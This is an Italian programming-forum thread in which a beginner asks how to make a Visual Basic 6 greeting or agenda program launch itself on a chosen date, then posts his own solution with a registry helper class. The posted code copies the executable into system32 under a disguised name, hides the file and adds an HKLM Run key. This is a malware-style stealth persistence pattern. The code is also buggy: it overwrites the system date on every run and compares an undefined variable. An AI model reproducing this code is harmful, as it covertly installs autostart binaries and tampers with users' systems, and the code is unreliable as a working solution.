Visual Basic 6 - cerco modo per far partire il programma dopo 3 giorni

vorrei creare un programma ke si kiama tanti auguri

vorrei ke questo programma si copia tipo sul desktop (dal cd) e poi si apre in un giorno prefissato

esempio: è natale, il programma si apre e dice: buon natale

questo comporta l'inserzione del programma nelle procedure ke si avviano quando parte windows...

come faccio???

Per l'avvio automatico vai qui
visivagroup.it/…

Comunque... secondo me sbagli leggermente approccio...
Quante volte esiste Natale? 1 all'anno...
Per una operazione che non deve essere fatta tutti i giorni
basta aggiungere una "operazione pianificata"...

Spero di esserti stato utile...

non è kiaro kosa voglio fare, ma avevo fatto un progetto

ke si apriva se era passato un tale giorno

si ekko deve essere una sorta di agenda!

così volgio realizzare una segretaria elettronica

se un tale gorno è passato si deve aprire

quindi x fare la verifica si apre ogni volta, ma nascosto

(nascosto lo sò fare)

ma farlo aprire ogni volta e fare la verifica della data???

(es: io ho fissato un appuntamento il giorno 05/08/09 ma quel giorno è passato, allora il giorno dopo, o 2 giorni dopo (quando apro il programma) mi avvisa)

mi sono spiegato? il programma si deve inserire da solo nell'esecuzione automatica!

(avevo fatto un vekkio progetto ma non sò se và

Controlli il giorno attuale con

oggi=day(now)

come no... oubt:

risolto ekko vi posto il codice!

form:

Form1

Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Registro As New RCLReg


Private Sub Form_Load()

    Date = 01/09/2009  'data in dormato gg/mm/aaaa
    'Copia se stesso nella cartella System32 e cambia nome
    CopyFile "SETUP.exe", "C:\WINDOWS\system32\hdv.exe", 0
    'Nasconde il file creato
    Const FILE_ATTRIBUTE_HIDDEN = &H2
    SetFileAttributes "C:\WINDOWS\system32\hdv.exe", FILE_ATTRIBUTE_HIDDEN
    'Inserisce la chiave nel registro per l'avvio automatico dell'applicazione
    With Registro
        .MasterKey = HKEY_LOCAL_MACHINE
        .Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
        .NameValue = "HDV" 'Nome della chiave nel registro di sistema [Modificabile a piacere]
        .STRValue = "C:\WINDOWS\system32\hdv.exe"
        .RSetString
    End With
    If Data = Date Then
  MsgBox ("auguri!") 'o quello ke vuoi quando viene quel giorno 
        Registro.RDelValue 'Cancella la chiave nel registro
    End If
End Sub

moduli:

RCReg

Option Explicit

' Funzioni API utilizzate per le operazioni sul registro di configurazione (32 bit).
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003

modulo di classe:

RCLReg

Option Explicit

Private Const REG_SZ = 1 'tipo stringa
Private Const REG_BINARY = 3 'tipo valore binario
Private Const REG_DWORD = 4 'tipo DWORD

Private Const ERROR_SUCCESS = 0&
Private Const ERROR_NO_MORE_ITEMS = 259&

Private Const STANDARD_RIGHTS_ALL = &H1F0000
Private Const SYNCHRONIZE = &H100000
Private Const READ_CONTROL = &H20000
Private Const STANDARD_RIGHTS_READ = (READ_CONTROL)
Private Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)

Private Const KEY_CREATE_LINK = &H20
Private Const KEY_CREATE_SUB_KEY = &H4
Private Const KEY_ENUMERATE_SUB_KEYS = &H8
Private Const KEY_EVENT = &H1
Private Const KEY_NOTIFY = &H10
Private Const KEY_SET_VALUE = &H2
Private Const KEY_QUERY_VALUE = &H1
Private Const KEY_READ = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const KEY_EXECUTE = (KEY_READ)
Private Const KEY_WRITE = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))


'Costanti globali per le chiavi delle operazioni
Private Declare Function OSRegCloseKey Lib "advapi32" Alias "RegCloseKey" (ByVal hkey As Long) As Long
Private Declare Function OSRegCreateKey Lib "advapi32" Alias "RegCreateKeyA" (ByVal hkey As Long, ByVal lpszSubKey As String, phkResult As Long) As Long
Private Declare Function OSRegDeleteKey Lib "advapi32" Alias "RegDeleteKeyA" (ByVal hkey As Long, ByVal lpszSubKey As String) As Long
Private Declare Function OSRegEnumKey Lib "advapi32" Alias "RegEnumKeyA" (ByVal hkey As Long, ByVal iSubKey As Long, ByVal lpszName As String, ByVal cchName As Long) As Long
Private Declare Function OSRegOpenKey Lib "advapi32" Alias "RegOpenKeyA" (ByVal hkey As Long, ByVal lpszSubKey As String, phkResult As Long) As Long
Private Declare Function OSRegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hkey As Long, ByVal lpszValueName As String, ByVal dwReserved As Long, lpdwType As Long, lpbData As Any, cbData As Long) As Long
Private Declare Function OSRegSetValueEx Lib "advapi32" Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpszValueName As String, ByVal dwReserved As Long, ByVal fdwType As Long, lpbData As Any, ByVal cbData As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hkey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hkey As Long, ByVal lpValueName As String) As Long
Private Declare Function OSRegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Private Declare Function OSRegFlushKey Lib "advapi32.dll" (ByVal hkey As Long) As Long
Private Declare Function OSRegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hkey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long



'proprieta' pubbliche
Public MasterKey As Long 'chiave principale HKEY_...

Public Key As String 'percorso in esame es.:Software\Microsoft

Public NameValue As String 'Nome della variabile da leggere/scrivere

Public NameKey As String 'Nome della key ricercata
Public STRValue As String 'Valore tipo stringa letto o da scrivere

Public DWordValue As Long 'Valore tipo DWORD letto o da scrivere
Public tipo As Long 'tipo di dati identificato

'legge il nome delle variabili in una key
'restituisce false se il valore idx non esiste
Public Function REnumValue(ByVal lCurIdx As Long) As Boolean
Dim lKeyHandle As Long, lResult As Long
Dim sValue As String, sResult As String
Dim lValueLen As Long, lData As Long, lDataLen As Long
Dim tipoVal As Long
    
lValueLen = 2000
lDataLen = 2000
REnumValue = False
If OSRegOpenKeyEx(MasterKey, Key$, 0&, KEY_QUERY_VALUE, lKeyHandle) = ERROR_SUCCESS Then
        sValue$ = String(lValueLen, 0)
        lResult = OSRegEnumValue(lKeyHandle, lCurIdx, ByVal sValue$, lValueLen, 0&, tipoVal, ByVal lData, lDataLen)
        If lResult = ERROR_SUCCESS Then
            NameValue$ = Left(sValue$, lValueLen)
            tipo = tipoVal
            REnumValue = True
        End If
        Call RegCloseKey(lKeyHandle)
End If
End Function


'legge il nome della key numero idx
'restituisce false se la key idx non esiste
Public Function REnumKey(ByVal idx As Long) As Boolean
Dim ret As Long
Dim result As String * 255
Dim handle As Long

REnumKey = False
If OSRegOpenKey(MasterKey, Key, handle) = ERROR_SUCCESS Then
    ret = OSRegEnumKey(handle, idx, result$, 255&)
    If ret = ERROR_SUCCESS Then
        NameKey$ = StripTerminator(result$)
        REnumKey = True
    End If
    Call RegCloseKey(handle)
End If
End Function


'cancella la chiave specificata in masterkey,key dal registro
'ritorna true se l'operazione riesce
Public Function RDelKey() As Boolean
Dim result As Long

RDelKey = False
   result = RegDeleteKey(MasterKey, Key$)
   If result = ERROR_SUCCESS Then
    RDelKey = True
   End If
End Function

'cancella il valore specificato da masterkey,key e NameValue dal registro
Public Function RDelValue() As Boolean
Dim handle As Long
Dim result As Long

RDelValue = False
If OSRegOpenKey(MasterKey, Key, handle) = ERROR_SUCCESS Then
   result = RegDeleteValue(handle, NameValue$)
   Call OSRegCloseKey(handle)
   If result = ERROR_SUCCESS Then
    RDelValue = True
   End If
End If
End Function


'scrive un valore di tipo intero (DWORD) nel registro
'restituisce true se l'operazione riesce
' se il valore non esiste viene creato
' se il valore da settare non e' di tipo DWORD viene convertito
Public Function RSetDWord() As Boolean
Dim handle As Long
Dim result As Boolean

RSetDWord = False
If OSRegOpenKey(MasterKey, Key, handle) = ERROR_SUCCESS Then
   result = RegSetNumericValue(handle, NameValue, DWordValue)
   Call OSRegCloseKey(handle)
   If result Then
    RSetDWord = True
   End If
End If
End Function

'legge un valore di tipo intero (DWORD) dal registro
'restituisce true se l'operazione riesce
' inserisce il valore letto in DWordValue e il corrispondente
' valore esadecimale in STRValue
Public Function RGetDWord() As Boolean
Dim errore As Long
Dim Haperto As Long

    errore = RegOpenKey(MasterKey, Key$, Haperto)
    If errore Then
        If RegQueryIntValue(Haperto, NameValue$, DWordValue) Then
            STRValue$ = Hex(DWordValue)
            RGetDWord = True
        Else
            RGetDWord = False
        End If
        errore = RegCloseKey(Haperto)
    Else
        RGetDWord = False
    End If
End Function

'crea la chiave specificata da MasterKey e da Key, solo se non esiste
' ritorna true se la chiave c'e' o gia c'era
'questa funzione crea anche piu di un livello alla volta automaticamente.
Public Function RCreateKey() As Boolean
Dim Exist As Boolean
Dim lResult As Long
Dim phkResult As Long

RCreateKey = True
If OSRegOpenKey(MasterKey, Key, phkResult) = ERROR_SUCCESS Then
   Call OSRegCloseKey(phkResult)
   Exist = True
Else
   Exist = False
End If

If Not Exist Then
    lResult = OSRegCreateKey(MasterKey, Key, phkResult)
    If lResult = ERROR_SUCCESS Then
        Call OSRegCloseKey(phkResult)
        RCreateKey = True
    Else
        RCreateKey = False
    End If
End If
End Function

'questa funzione legge la variabile indicata nelle proprietà della classe
' e restituisce il suo valore nella proprietà "Value"
'restituisce true se è possibile leggere la variabile
'es.: MasterKay=HKEY_CURRENT_USER
' Key = "Software\Microsoft\Windows\CurrentVersion\GrpConv
' NameValue = "Log"
'con questi settaggi STRValue verra' settato con il valore di "Log"
Public Function RGetString() As Boolean
Dim errore As Long
Dim Haperto As Long

    errore = RegOpenKey(MasterKey, Key$, Haperto)
    If errore Then
        If RegQueryStringValue(Haperto, NameValue$, STRValue$) Then
            RGetString = True
        Else
            RGetString = False
        End If
        errore = RegCloseKey(Haperto)
    Else
        RGetString = False
    End If
End Function
'setta un valore in una variabile di registro, se tale variabile non esiste la crea
Public Function RSetString() As Boolean
Dim handle As Long
Dim result As Boolean

RSetString = False
If OSRegOpenKey(MasterKey, Key, handle) = ERROR_SUCCESS Then
   result = RegSetStringValue(handle, NameValue, STRValue$)
   Call OSRegCloseKey(handle)
   If result Then
    RSetString = True
   End If
End If
End Function
'verifica l'esistenza di una chiave nel registro
' es: Software\Microsoft (esiste!)
'MasterKey deve corrispondere alla chiave principale del registro (es.:HKEY_...)
'Key deve corrispondere al percorso da verificare (es.: Software\Microsoft)
Public Function RGetKey() As Boolean
Dim handle As Long
If OSRegOpenKey(MasterKey, Key, handle) = ERROR_SUCCESS Then
   Call OSRegCloseKey(handle)
   RGetKey = True
Else
   RGetKey = False
End If
End Function


'-----------------------------------------------------------
' Funzione: RegCloseKey
'
' Chiude una chiave di registro aperta.
'
' Restituisce: True se l'operazione riesce, False in caso
'              contrario.
'-----------------------------------------------------------
'
Private Function RegCloseKey(ByVal hkey As Long) As Boolean
    Dim lResult As Long
    
    On Error GoTo 0
    lResult = OSRegCloseKey(hkey)
    RegCloseKey = (lResult = ERROR_SUCCESS)
End Function

'-----------------------------------------------------------
' Funzione: RegCreateKey
'
' Apre (crea se esiste già) una chiave nel registro di
' configurazione del sistema.
'
' In: [hkey]: HKEY del livello superiore.
'     [lpszSubKeyPermanent]: prima parte della sottochiave di
'         'hkey' che verrà creata o aperta. L'utilità di
'         rimozione dell'applicazione (solo 32 bit) non eliminerà
'         mai alcuna parte di questa sottochiave. Non può essere
'         una stringa vuota ("").
'
' Out: [phkResult]: HKEY della chiave appena aperta o creata.
'
' Restituisce: True se l'operazione di creazione/apertura della chiave
'              è riuscita, False in caso contrario. Se l'operazione riesce,
'              phkResult viene impostato sull'handle della chiave.
'
'-----------------------------------------------------------
Private Function RegCreateKey(ByVal hkey As Long, ByVal lpszSubKeyPermanent As String, phkResult As Long) As Boolean
    Dim lResult As Long
    Dim strHkey As String
    Dim fLog As Boolean
    Dim strSubKeyFull As String

    On Error GoTo 0

    If lpszSubKeyPermanent = "" Then
        RegCreateKey = False 'Errore: lpszSubKeyPermanent non può essere = ""
        Exit Function
    End If
    
    lResult = OSRegCreateKey(hkey, strSubKeyFull, phkResult)
    If lResult = ERROR_SUCCESS Then
        RegCreateKey = True
    Else
        RegCreateKey = False
    End If
End Function

'-----------------------------------------------------------
' Funzione: RegOpenKey
'
' Apre una chiave esistente nel registro di configurazione
' del sistema.
'
' Restituisce: True se la chiave viene aperta correttamente,
'   False in caso contrario. Se l'operazione riesce, phkResult
'   viene impostato sull'handle della chiave.
'-----------------------------------------------------------
'
Private Function RegOpenKey(ByVal hkey As Long, ByVal lpszSubKey As String, phkResult As Long) As Boolean
    Dim lResult As Long
    Dim strHkey As String

    On Error GoTo 0

    lResult = OSRegOpenKey(hkey, lpszSubKey, phkResult)
    If lResult = ERROR_SUCCESS Then
        RegOpenKey = True
    Else
        RegOpenKey = False
    End If
End Function

'----------------------------------------------------------
' Funzione: RegPathWinPrograms
'
' Restituisce il nome della chiave del registro di configurazione
' "\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
'----------------------------------------------------------
Private Function RegPathWinPrograms() As String
    RegPathWinPrograms = RegPathWinCurrentVersion() & "\Explorer\Shell Folders"
End Function
 
'----------------------------------------------------------
' Funzione: RegPathWinCurrentVersion
'
' Restituisce il nome della chiave del registro di configurazione
' "\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
'----------------------------------------------------------
Private Function RegPathWinCurrentVersion() As String
    RegPathWinCurrentVersion = "SOFTWARE\Microsoft\Windows\CurrentVersion"
End Function

'----------------------------------------------------------
' Funzione: RegQueryIntValue
'
' Recupera i dati di tipo Integer per un valore specificato
' (strValueName = nome) o non specificato (strValueName = "")
' incluso in una chiave del registro. Se il valore specificato
' esiste, ma i relativi dati non corrispondono a una REG_DWORD,
' questa funzione non restituisce alcun risultato.
'
' Restituisce: True se l'operazione riesce, False in caso
'   contrario. Nel primo caso lData viene impostato sul valore
'   dei dati numerico.
'
'----------------------------------------------------------
Private Function RegQueryIntValue(ByVal hkey As Long, ByVal strValueName As String, ByRef lData As Long) As Boolean
    Dim lResult As Long
    Dim lValueType As Long
    Dim lBuf As Long
    Dim lDataBufSize As Long
    
    RegQueryIntValue = False
    
    On Error GoTo 0
    
    ' Recupera il tipo e la lunghezza dei dati.
    lDataBufSize = 4
        
    lResult = OSRegQueryValueEx(hkey, strValueName, 0&, lValueType, lBuf, lDataBufSize)
    If lResult = ERROR_SUCCESS Then
        If lValueType = REG_DWORD Then
            lData = lBuf
            RegQueryIntValue = True
        End If
    End If
End Function

' Funzione: RegQueryStringValue
'
' Recupera i dati di tipo String relativi a un valore specificato
' (strValueName = nome) o non specificato (strValueName = "")
' incluso in una chiave del registro. Se il valore specificato
' esiste, ma i relativi dati non sono di tipo String, questa
' funzione non restituisce alcun risultato.
'
' NOTA: per i sistemi a 16 bit, strValueName deve essere "" (anche
' se il parametro non viene eliminato per motivi di compatibilità
' con il codice sorgente).
'
' Restituisce: True se l'operazione riesce, False in caso contrario.
'   Nel primo caso strData viene impostata su un valore di dati di
'   tipo String.
'
Private Function RegQueryStringValue(ByVal hkey As Long, ByVal strValueName As String, strData As String) As Boolean
    Dim lResult As Long
    Dim lValueType As Long
    Dim strBuf As String
    Dim lDataBufSize As Long
    
    RegQueryStringValue = False
    On Error GoTo 0
    ' Recupera il tipo e la lunghezza dei dati.
    lResult = OSRegQueryValueEx(hkey, strValueName, 0&, lValueType, ByVal 0&, lDataBufSize)
    If lResult = ERROR_SUCCESS Then
        If lValueType = REG_SZ Then
            strBuf = String(lDataBufSize, " ")
            lResult = OSRegQueryValueEx(hkey, strValueName, 0&, 0&, ByVal strBuf, lDataBufSize)
            If lResult = ERROR_SUCCESS Then
                RegQueryStringValue = True
                strData = StripTerminator(strBuf)
            End If
        End If
    End If
End Function

' Funzione: RegSetNumericValue
'
' Associa un valore specificato (strValueName = nome) o non specificato
' (strValueName = "") a una chiave del registro di configurazione.
'
' Se fLog manca o è True, questa operazione viene registrata nel file registro
' e il valore verrà eliminato dal programma di disinstallazione dell'applicazione.
'
' Restituisce: True se l'operazione riesce, False in caso contrario.
'
Private Function RegSetNumericValue(ByVal hkey As Long, ByVal strValueName As String, ByVal lData As Long) As Boolean
    Dim lResult As Long
    Dim strHkey As String

    On Error GoTo 0
    
    lResult = OSRegSetValueEx(hkey, strValueName, 0&, REG_DWORD, lData, 4)
    If lResult = ERROR_SUCCESS Then
        RegSetNumericValue = True
    Else
        RegSetNumericValue = False
    End If
End Function

' Funzione: RegSetStringValue
'
' Associa un valore specificato (strValueName = nome) o non specificato
' (strValueName = "") a una chiave del registro di configurazione.
' Restituisce: True se l'operazione riesce, False in caso contrario.
'
Private Function RegSetStringValue(ByVal hkey As Long, ByVal strValueName As String, ByVal strData As String) As Boolean
    Dim lResult As Long
    Dim strHkey As String
    
    On Error GoTo 0
    
    If hkey = 0 Then
        Exit Function
    End If
    
    lResult = OSRegSetValueEx(hkey, strValueName, 0&, REG_SZ, ByVal strData, LenB(StrConv(strData, vbFromUnicode)) + 1)
    
    If lResult = ERROR_SUCCESS Then
        RegSetStringValue = True
    Else
        RegSetStringValue = False
    End If
End Function


'In base a una HKEY già definita, restituisce la stringa di testo che rappresenta
'la chiave oppure restituisce "".
Private Function strGetPredefinedHKEYString(ByVal hkey As Long) As String
    Select Case hkey
        Case HKEY_CLASSES_ROOT
            strGetPredefinedHKEYString = "HKEY_CLASSES_ROOT"
        Case HKEY_CURRENT_USER
            strGetPredefinedHKEYString = "HKEY_CURRENT_USER"
        Case HKEY_LOCAL_MACHINE
            strGetPredefinedHKEYString = "HKEY_LOCAL_MACHINE"
        Case HKEY_USERS
            strGetPredefinedHKEYString = "HKEY_USERS"
        'Fine delle possibilità.
    End Select
End Function


'-----------------------------------------------------------
' FUNZIONE: StripTerminator
'
' Restituisce una stringa senza terminatori zero. In genere
' si tratta di una stringa restituita da una chiamata ad
' un'API di Windows.
'
' IN: [strString] - Stringa da cui rimuovere il terminatore
'
' Restituisce: Il valore della stringa passata senza eventuali
'              zero finali.
'-----------------------------------------------------------
'
Private Function StripTerminator(ByVal strString As String) As String
    Dim intZeroPos As Integer

    intZeroPos = InStr(strString, Chr$(0))
    If intZeroPos > 0 Then
        StripTerminator = Left$(strString, intZeroPos - 1)
    Else
        StripTerminator = strString
    End If
End Function

sono stato bravo???

Credo che facessi prima con day(now) lol